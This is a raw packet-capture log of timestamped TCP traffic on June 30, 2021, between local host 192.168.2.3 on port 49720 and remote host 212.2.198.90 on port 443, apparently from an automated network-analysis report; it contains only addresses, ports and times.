Jun 30, 2021 20:06:09.389869928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389890909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389914036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389914989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389935970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389944077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389957905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.389981031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.389985085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390008926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390029907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390033960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390052080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390054941 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390074968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390090942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390096903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390105963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390120983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390142918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390145063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390171051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390177011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390196085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390204906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390217066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390239954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390258074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390275955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390280008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390288115 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390297890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.390305042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390346050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.390383959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400155067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400279045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400322914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400346994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400399923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400461912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400485039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400527000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400578022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400621891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400635958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400676012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400739908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400785923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400794029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400830030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400835037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400870085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400877953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400930882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.400949001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.400985956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401036024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401079893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401083946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401124954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401144981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401184082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401192904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401248932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401289940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401328087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401349068 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401365042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401369095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401406050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401408911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401443005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401448965 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401478052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401483059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401510954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401515961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401544094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401546955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401577950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401598930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401611090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401633978 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401647091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401650906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401684046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401707888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401721954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401743889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401757002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401761055 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401792049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401813984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401827097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401854038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401876926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401878119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401921988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401926994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401962042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.401988983 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.401997089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402020931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402031898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402050972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402065039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402065992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402098894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402117968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402133942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402137995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402179956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402187109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402225018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402266026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402307987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402314901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402318954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402321100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402357101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402381897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402405024 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402407885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402450085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402457952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402494907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402499914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402534008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402542114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402589083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402610064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402621984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402627945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402667046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402672052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402702093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402724028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402734041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402755976 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402769089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402791023 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402803898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402806044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402839899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402844906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402875900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402879953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402914047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402939081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402951002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.402976036 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.402987003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.403007030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.403064013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.403069019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.403103113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.403105974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.403155088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.405905962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406070948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.405987978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406126022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406131029 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406169891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406199932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406244993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406255007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406290054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406296015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406339884 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406362057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406395912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406443119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406451941 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406457901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406485081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406516075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406527996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406538010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406550884 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406560898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406578064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406584024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406615973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406618118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406645060 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406651020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406666040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406682968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406699896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406716108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406730890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406738997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406759977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406764984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406783104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406802893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406804085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406821966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406824112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406845093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406857014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406863928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406883001 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406884909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406904936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406918049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406924009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406939983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406956911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406960011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406980038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.406994104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.406999111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407018900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407032013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407041073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407062054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407062054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407083988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407088995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407104015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407138109 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407160044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407171011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407193899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407213926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407224894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407233000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407244921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407253027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407267094 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407273054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407293081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407298088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407313108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407334089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407335997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407357931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407360077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407377005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407392025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407397032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407418966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407423019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407438993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407458067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407459974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407480001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407501936 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407505035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407527924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407536030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407550097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407571077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407574892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407589912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407613039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407618999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407634020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407638073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407653093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407672882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407672882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407692909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407706022 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407711983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407732010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407747984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407752991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407777071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407784939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407800913 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407812119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407823086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407843113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407850981 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407865047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.407886982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.407907963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.408324957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.408349991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.408394098 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.408406019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411046028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411087036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411108971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411156893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411178112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411180973 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411200047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411220074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411242962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411243916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411266088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411267996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411286116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411305904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411312103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411328077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411350012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411356926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411370039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411381960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411391973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411413908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411417007 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411436081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411452055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411468983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411468983 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411490917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411503077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411511898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411525965 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411531925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411551952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411555052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411572933 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411593914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411596060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411617041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411633015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411638021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411657095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411664963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411675930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411695957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411704063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411716938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411736965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411741972 CEST	49720	443	192.168.2.3	212.2.198.90
